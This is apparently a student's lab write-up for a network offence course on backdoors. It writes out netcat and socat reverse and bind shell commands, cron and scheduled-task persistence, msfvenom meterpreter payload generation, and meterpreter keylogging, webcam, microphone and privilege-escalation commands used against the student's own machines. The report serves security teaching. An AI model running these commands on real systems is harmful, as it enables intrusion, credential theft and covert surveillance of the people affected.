Exp2 后门原理与实践

一、实验要求

1.使用netcat获取主机操作Shell,cron启动

2.使用socat获取主机操作Shell, 任务计划启动

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

二、实验内容

1.任务一

(使用netcat获取主机操作Shell,cron启动 )

kali(攻击机)Windows(受害人)

1.Windows获得Kali Shell

(使用ipconfig查看IP:10.1.1.171)

(使用ifconfig查看IP:192.168.168.128)

2.安装ncat.exe程序

ncat.exe程序Windows系统下并没有安装需要手动安装,下载地址然后解压到相应文件夹中,通过命令行进入ncat文件夹

之前因为没安装ncat程序导致Windows端报错

3.在Windows的命令行中输入 ncat.exe -l -p 5110



4.在kali端输入:nc 10.1.1.171 5110 -e /bin/sh



(成功获取Windows的权限)

注:可以通过相似的操作通过Windows来kali的权限

kali(受害人):nc -l -p 5110

Windows(攻击机):ncat.exe 192.168.168.128 5110 -e cmd.exe

5.在kali端打开crontab -e选择

3. /usr/bin/vim.basic在最后一行加入代码

32 * * * * /bin/netcat 192.168.1.123 5325 -e /bin/sh

意味着每小时的第32分钟时启动一次

时间到了的时候,我们在Windows的命令行中输入ncat.exe -l -p 5110然后可以成功获取Kali中的一些权限,完成操作任务

2.任务二

(使用socat获取主机操作Shell, 任务计划启动)

socat下载地址

此处的攻击机为kali,受害者为Windows

1.首先通过搜索找到计算机管理,点击任务管理计划->创建基

本任务,按照步骤进行创建,其中在操作这一栏中选择我们刚才下载socat.exe文件,并在下面的参数一栏中填写

tcp-listen:5110 exec:cmd.exe,pty,stderr

该命令是用与把cmd.exe文件绑定到端口5110,同时把cmd.exe的stderr重定向到stdout上。

2.创建任务完成后,按Windows+L快捷键快速锁定计算机,再次打开时,唔没出现哎,唔然后我打开任务管理器发现定位文件夹的socat.exe消失不见了,然后我又重新复制了一个过来,再次重复上面的动作,到时间就弹出来了一个黑色的框,表示运行成功。

3.在Kali端输入指令socat - tcp:10.1.1.171:5110一开始我总是出现未找到命令的错误,经过检查后发现由于我指令中的-与tcp中间没有加上空格,输入正确后,即可成功获得cmd shell

(成功获得cmd shell的截图)

注:在排查过程中,我以为是端口被占用的问题,所以将此处的端口该成了5111

3.任务三

(使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell)

Kali(攻击机),Windows(受害者)

1.生成后门

在Kali端生成一个后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.168.128 LPORT=5110 -f exe > backdoor_20165110.exe

指令参数说明:

    -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型

2.将生成的文件通过nc指令传输给Windows。

3.在Kali端启动msfconsole

4。输入指令

set payload windows/meterpreter/reverse_tcp
set LHOST 10.1.1.171 //Kali的IP
set LPORT 5110

一切显示正常后输入exploit

即可成功获得Windows的shell

该任务中出现的错误:

1.一开始我把LHOST的IP地址写成了Windows的,然后生成一直到最后的exploit之前都没有发现这个错误,直到exploit指令后发现运行不起来,这才往回回溯到了这里来,发现了LHOST的IP有误。

2.通过Windows端始终打不开传输过去的后门文件,始终显示版本信息不符,传输多次还是这个情况,我都没招了。后来发现这个传输过来的文件的大小有问题,每次传输过来的文件的大小居然为0kb但是本身生成的后门程序其实有七十多k说明传输过程中,文件有所损坏,唔,我百思不得其解,最后没有办法,就通过共享文件夹的方式把后门文件传输到了Windows系统中了。

4.任务四

(使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权)

此处Kali是攻击机,Windows是受害者

1.在上一个任务的基础上继续在msfconsole中输入指令

(1)获取目标主机音频

输入指令record_mic -d 5 -d后跟的是录制时间

(2)获取目标主机的摄像头

输入指令webcam_snap

(结果截图)

(3)获取目标主机的截屏

输入指令screenshot

(结果截图)

(3)获取目标主机的击键记录

输入指令keyscan_start开始记录下击键内容,然后使用keyscan_dump指令读取击键内容

这个指令我去尝试了登录一个网站,发现我的密码可以作为击键内容被显示出来(此处图略)

(4)对目标主机尝试提权

使用指令getuid指令查看当前用户,然后使用getsystem指令进行提取

5.任务五(加分项)

对这个任务我进行了艰苦卓绝的努力,首先得感谢各位大佬们的帮助

首先输入指令,直接msf再pwn1基础上生成一个注入了的shellcode的文件pwn2.msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.168.128 LPORT=5111 -x /root/20165110/experiment2/pwn1 -f elf > pwn2.然后输入msfconsole运行msf,输入下列指令

set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.168.128 //注意此处应为Linux的IP!
set LPORT 5111 //后门程序里的端口号
show options
exploit

随后打开一个新的终端,然后在其中输入chmod +x pwn2.给用户赋予执行pwn2.的权利,如果不进行赋权的话会导致无法运行



然后执行该文件sudo ./pwn2.

然后激动人心的时刻到了



--------------------------------它报错了------------------------------------

我尝试了重启、重新生成、重新配置等多种尝试都没能将这个问题解决==,于是乎,该实验宣告失败。。。。。。(望各位牛皮的大佬们有遇到这个问题的告诉我一下怎么解决。。。)

三、实验过程中出现的问题

1.在进行任务一的时候,通过crontab指令加入的自启动并没有真正开始自启动,应该是因为时间差的问题导致的,最后我是手动双击启动的。

2.在进行任务二过程中kali端输入完指令后总是报错,后来经过排查发现是因为指令格式有误“-”与tcp之间应该有一个空格

3.在进行任务三过程中,出现了两个问题:

(1)一开始我把LHOST的IP地址写成了Windows的,然后生成一直到最后的exploit之前都没有发现这个错误,直到exploit指令后发现运行不起来,这才往回回溯到了这里来,发现了LHOST的IP有误。

(2)通过Windows端始终打不开传输过去的后门文件,始终显示版本信息不符,传输多次还是这个情况,我都没招了。后来发现这个传输过来的文件的大小有问题,每次传输过来的文件的大小居然为0kb但是本身生成的后门程序其实有七十多k说明传输过程中,文件有所损坏,唔,我百思不得其解,最后没有办法,就通过共享文件夹的方式把后门文件传输到了Windows系统中了。

四、基础问题回答

1.例举你能想到的一个后门进入到你系统中的可能方式?

答:(1)记得之前上信安技术的时候老师曾举过一个例子,说之前有一个爆发的病毒式将后门程序是绑定在一张小龙女图片上的,互联网的用户只要点击查看这张图片就会自动下载该图片后的后门程序,然后安装进入用户的电脑获得权限

(2)下载盗版的软件,该软件的源码可能就有后门,所以只要一运行这个软件,后门程序也会同步运行

2.例举你知道的后门如何启动起来(win及linux)的方式?

答:Windows通过修改注册表信息,创建自启动任务,或者被动触发点击含有后门程序的连接、软件即可启动

Linux通过缓冲区溢出攻击,将正常的跳转进行修改将跳转地址改到相应的后门程序存在的地址中,在执行相应操作之后即可跳转到相应的后门中。

3.Meterpreter有哪些给你映像深刻的功能?

答:我觉得最可怕的就是可以获取击键内容,比方说用户输入的密码,而这会导致为保护密码所设置的所有加密算法和保密协议都完全失效,从源头开始密码就会被泄露,直接明态显示在了攻击机的界面上。

4.如何发现自己有系统有没有被安装后门?

答:我在创建基本任务的时候,发现了许多已经在运行的任务,这些任务有的是系统自带的有的是一些软件自带的,可以通过任务表来查看自己的系统中有没有安装不明后门任务;一般的杀毒软件都是可以检查出打部分的后门程序的所以要开启杀毒软件的实时防护功能,即使更新版本。

附加:使用msf生成其他模式的后门程序(链接

Exp2 后门原理与实践 20165110的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  2. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  3. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...

  6. 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...

  7. 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...

  8. 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...

  9. 2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载免费应用的时候会有绑定木马. 浏览某些网页时会有内 ...

随机推荐

  1. 报错:Sqoop2 Exception: java.lang.NoSuchMethodError Message: org.apache.hadoop.security.authentication.client.Authenticator

    报错过程: 进入sqoop2之后, 输入命令:show connector,报错 报错现象: Exception has occurred during processing command Exce ...

  2. [UE4]线性插值Lerp

  3. Docker使用Link与newwork在容器之间建立连接

    一,使用 --link容器互联 docker 默认使允许container 互通的(通过-icc=false 关闭互通)同一个宿主机上的多个docker容器之间如果想进行通信,可以通过使用容器的ip地 ...

  4. 《深度探索C++对象模型》读书笔记(一)

    前言 今年中下旬就要找工作了,我计划从现在就开始准备一些面试中会问到的基础知识,包括C++.操作系统.计算机网络.算法和数据结构等.C++就先从这本<深度探索C++对象模型>开始.不同于& ...

  5. Kafka安装及开启SASL_PLAINTEXT认证(用户名和密码认证)

    前些日子要封装一个kafka的客户端驱动,配置了下kafka环境,发现配置复杂度完爆rabbitmq很多倍啊,而且发布订阅模式使用起来也很麻烦,可能就胜在分布式了吧. kafka需要java环境,自行 ...

  6. var let const

    你真的永远都不用var了吗? javascript的一些争论已经浮现出了一些经典的案例,因此,es6的拥护者你们应该讲var遗忘吗?这篇博客将带你走进被遗忘的角落 首先举例反对者的几个观点: 1.如果 ...

  7. Java——@SupressWarnings

    J2SE 提供的最后一个批注是 @SuppressWarnings.该批注的作用是给编译器一条指令,告诉它对被批注的代码元素内部的某些警告保持静默. 背景:J2SE 5.0 为 Java 语言增加了几 ...

  8. Comparator与Comparable,自定义排序和类比较器,TreeSet对象排序

    /** * 学生类 * @author Administrator * */ public class Student { private String sno ; private String sn ...

  9. C#递归生成HTML树,C#递归生成xml树

    C#递归生成HTML树 public StringBuilder str = new StringBuilder();   //定义一个字符串 private void get_navigation_ ...

  10. Linux环境安装、卸载Docker

    安装: 1.Docker要求CentOS系统的内核版本高于 3.10 ,通过 uname -r 命令查看你当前的内核版本是否支持安账docker 2.更新yum包:sudo yum update 3. ...